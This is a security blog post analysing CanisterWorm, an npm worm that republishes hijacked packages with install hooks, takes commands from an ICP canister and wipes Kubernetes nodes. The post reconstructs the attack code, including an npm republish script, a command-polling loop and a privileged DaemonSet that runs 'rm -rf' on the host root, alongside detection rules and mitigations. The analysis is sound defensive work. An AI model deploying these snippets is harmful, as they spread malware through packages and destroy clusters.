DEV Community

ohmygod
ohmygod

Posted on

CanisterWorm: How a Self-Propagating npm Worm Uses Blockchain C2 to Wipe Kubernetes Clusters

In March 2026, security researchers at Socket, Aikido, and JFrog disclosed CanisterWorm — a self-propagating supply chain worm that hijacks npm publisher accounts, implants blockchain-backed backdoors, and carries a destructive payload capable of bricking entire Kubernetes clusters. This isn't a theoretical threat. It's active, evolving, and has already compromised 29+ packages.

This article breaks down CanisterWorm's kill chain, explains the blockchain C2 mechanism in detail, and provides concrete detection and mitigation steps for developers and platform teams.


The Kill Chain: From Stolen Token to Cluster Wipe

Stage 1: Credential Harvest

CanisterWorm's initial access vector traces back to the Trivy supply chain compromise — where threat actors (TeamPCP) injected credential-stealing code into Aqua Security's popular vulnerability scanner. Developers who ran the compromised Trivy binary had their npm tokens, SSH keys, and cloud credentials silently exfiltrated.

The stolen npm tokens become the worm's propagation engine.

Stage 2: Package Hijack

With valid npm tokens, CanisterWorm automates package takeover:

// Simplified version of the worm's deploy.js logic
const { execSync } = require('child_process');
const fs = require('fs');

// Read package.json, bump version
const pkg = JSON.parse(fs.readFileSync('package.json'));
const [major, minor, patch] = pkg.version.split('.').map(Number);
pkg.version = `${major}.${minor}.${patch + 1}`;

// Inject install hook
pkg.scripts = pkg.scripts || {};
pkg.scripts.install = 'node install.js';

fs.writeFileSync('package.json', JSON.stringify(pkg, null, 2));
execSync('npm publish');
Enter fullscreen mode Exit fullscreen mode

The install.js script executes during npm install, bootstrapping the backdoor on every machine that pulls the compromised package. This is why 29+ packages were infected before detection — each compromised developer's packages became new infection vectors.

Stage 3: Blockchain C2 via ICP Canisters

Here's where CanisterWorm gets interesting. Instead of a traditional C2 server (which can be seized, blocked, or sinkholed), the worm uses a Internet Computer Protocol (ICP) canister as a dead-drop C2 channel.

# Simplified C2 polling logic from the Python backdoor
import requests
import time

CANISTER_ID = "bkyz2-fmaaa-aaaaa-qaaaq-cai"
ICP_GATEWAY = "https://ic0.app"

def poll_c2():
    """Fetch next command from ICP canister."""
    url = f"{ICP_GATEWAY}/api/v2/canister/{CANISTER_ID}/query"
    payload = {
        "method_name": "get_instruction",
        "arg": encode_candid({"bot_id": get_machine_id()})
    }
    response = requests.post(url, json=payload)
    return decode_candid(response.content)

while True:
    cmd = poll_c2()
    if cmd and cmd.get("action"):
        execute_payload(cmd)
    time.sleep(300)  # Poll every 5 minutes
Enter fullscreen mode Exit fullscreen mode

Why blockchain C2 matters:

  • No single point of failure — there's no server to take down
  • Censorship-resistant — ICP canisters run on a decentralized subnet
  • Dynamic payload rotation — operators update instructions on-chain without touching infected hosts
  • Attribution difficulty — canister deployment can be done through anonymous cycles

This pattern isn't unique to CanisterWorm. We've seen Glassworm use Solana's memo field and EtherRAT use Ethereum transactions for similar purposes. Blockchain-as-C2 is becoming a standard technique in the supply chain attacker's playbook.

Stage 4: The "Kamikaze" Kubernetes Wiper

CanisterWorm's most destructive payload targets Kubernetes clusters on Linux hosts. The wiper, internally named "kamikaze," deploys through a clever abuse of Kubernetes primitives:

# Reconstructed DaemonSet manifest used by the wiper
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-health-monitor  # Disguised name
  namespace: kube-system
spec:
  selector:
    matchLabels:
      app: node-health-monitor
  template:
    metadata:
      labels:
        app: node-health-monitor
    spec:
      hostPID: true
      hostNetwork: true
      containers:
      - name: monitor
        image: alpine:latest
        securityContext:
          privileged: true
        volumeMounts:
        - name: host-root
          mountPath: /host
        command: ["/bin/sh", "-c"]
        args:
          - |
            rm -rf /host/*
            echo b > /host/proc/sysrq-trigger  # Force reboot
      volumes:
      - name: host-root
        hostPath:
          path: /
Enter fullscreen mode Exit fullscreen mode

A DaemonSet ensures the wiper runs on every node in the cluster. It mounts the host's root filesystem, deletes everything, then triggers a kernel reboot. The cluster is bricked.

Targeting is selective. The malware checks the system's locale and timezone — Iranian-locale systems receive the wiper payload, while others get the standard CanisterWorm backdoor. This suggests a geopolitically-motivated destructive component layered on top of the financially-motivated supply chain worm.


Detection: What to Look For

1. Audit npm Token Exposure

# Check for .npmrc files with tokens in unexpected locations
find / -name ".npmrc" -exec grep -l "//registry.npmjs.org/:_authToken" {} \; 2>/dev/null

# Check environment variables
env | grep -i npm_token

# Audit npm whoami across all .npmrc files
for f in $(find ~ -name ".npmrc" 2>/dev/null); do
  echo "=== $f ==="
  NPM_CONFIG_USERCONFIG=$f npm whoami 2>&1
done
Enter fullscreen mode Exit fullscreen mode

2. Monitor for Suspicious install Scripts

# Scan node_modules for packages with install hooks
find node_modules -name "package.json" -maxdepth 2 -exec \
  jq -r 'select(.scripts.install != null or .scripts.preinstall != null or .scripts.postinstall != null) | 
  "\(.name)@\(.version): install=\(.scripts.install // ""), preinstall=\(.scripts.preinstall // ""), postinstall=\(.scripts.postinstall // "")"' {} \;
Enter fullscreen mode Exit fullscreen mode

3. Detect Blockchain C2 Traffic

# Network-level detection: ICP gateway connections
# Add to your firewall/IDS rules
# ICP boundary nodes use these domains:
# - ic0.app
# - icp0.io  
# - *.ic0.app

# Suricata rule example
alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"Potential ICP Canister C2 Communication";
  content:"ic0.app"; http.host;
  content:"/api/v2/canister/"; http.uri;
  content:"query"; http.uri;
  classtype:trojan-activity;
  sid:2026001; rev:1;
)
Enter fullscreen mode Exit fullscreen mode

4. Kubernetes Wiper Indicators

# Watch for suspicious DaemonSets in kube-system
kubectl get daemonsets -n kube-system -o json | \
  jq '.items[] | select(
    .spec.template.spec.containers[].securityContext.privileged == true and
    (.spec.template.spec.volumes[]?.hostPath.path == "/")
  ) | .metadata.name'

# Alert on any new privileged DaemonSet creation
# OPA/Gatekeeper policy:
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sBlockPrivilegedDaemonSets
metadata:
  name: block-privileged-daemonsets
spec:
  match:
    kinds:
      - apiGroups: ["apps"]
        kinds: ["DaemonSet"]
Enter fullscreen mode Exit fullscreen mode

Mitigation Checklist

For Individual Developers

  • [ ] Rotate npm tokens immediately if you've used Trivy versions from the compromised period
  • [ ] Enable npm 2FA — token-only auth can't propagate the worm if publish requires OTP
  • [ ] Use npm audit signatures to verify package provenance
  • [ ] Pin dependencies — don't use ^ or ~ ranges for critical packages
  • [ ] Run socket scan or npm audit in CI before deploying

For Platform/DevOps Teams

  • [ ] Block ICP gateway domains at the network level if you don't use Internet Computer
  • [ ] Enforce PodSecurityStandards — reject privileged containers and hostPath mounts to /
  • [ ] Use OPA/Gatekeeper to prevent DaemonSet creation with privileged security contexts
  • [ ] Monitor kube-system namespace — alert on any resource creation not from your GitOps pipeline
  • [ ] Implement SLSA provenance for all internal packages
  • [ ] Use Sigstore/cosign to sign and verify container images

For Package Registry Operators

  • [ ] Flag rapid version bumps — CanisterWorm increments patch versions automatically
  • [ ] Detect install script additions in packages that previously had none
  • [ ] Monitor publish patterns — same token publishing to multiple unrelated packages is suspicious

The Bigger Picture: Blockchain as Attacker Infrastructure

CanisterWorm is the third major malware family in 2026 to use blockchain for C2:

Malware Blockchain C2 Method Primary Target
Glassworm Solana Memo field in transactions npm/GitHub/VSCode
EtherRAT Ethereum Smart contract state reads React/CI pipelines
CanisterWorm ICP Canister query calls npm → Kubernetes

This trend is accelerating because blockchain C2 offers attackers a fundamental advantage: the infrastructure is permissionless and censorship-resistant by design. The same properties that make blockchains useful for DeFi make them useful for malware operators.

Defenders need to adapt:

  1. Treat blockchain RPC endpoints as potential C2 channels in threat models
  2. Monitor outbound connections to known blockchain gateways (ic0.app, mainnet-beta.solana.com, eth RPC endpoints)
  3. Build detection signatures for blockchain query patterns that don't match your application's expected behavior
  4. Collaborate with chain-level threat intelligence — providers like Chainalysis, TRM Labs, and Forta are beginning to track malicious on-chain activity patterns

Conclusion

CanisterWorm represents a convergence of three trends that every security team should be tracking:

  1. Supply chain worms that self-propagate through legitimate package ecosystems
  2. Blockchain-backed C2 that's resistant to traditional takedown
  3. Destructive payloads that go beyond data theft to infrastructure destruction

The days of supply chain attacks being "just" about stealing credentials are over. When a compromised npm package can brick your entire Kubernetes cluster, the blast radius of a single stolen token becomes organizational.

Start with the basics: rotate tokens, enforce 2FA, pin dependencies, and restrict privileged workloads. Then invest in the structural defenses — provenance verification, network-level blockchain monitoring, and admission control policies — that make your infrastructure resilient to the next worm.


References: Socket Security research, JFrog analysis, Aikido disclosure on TeamPCP targeting, SecurityBoulevard coverage

Top comments (0)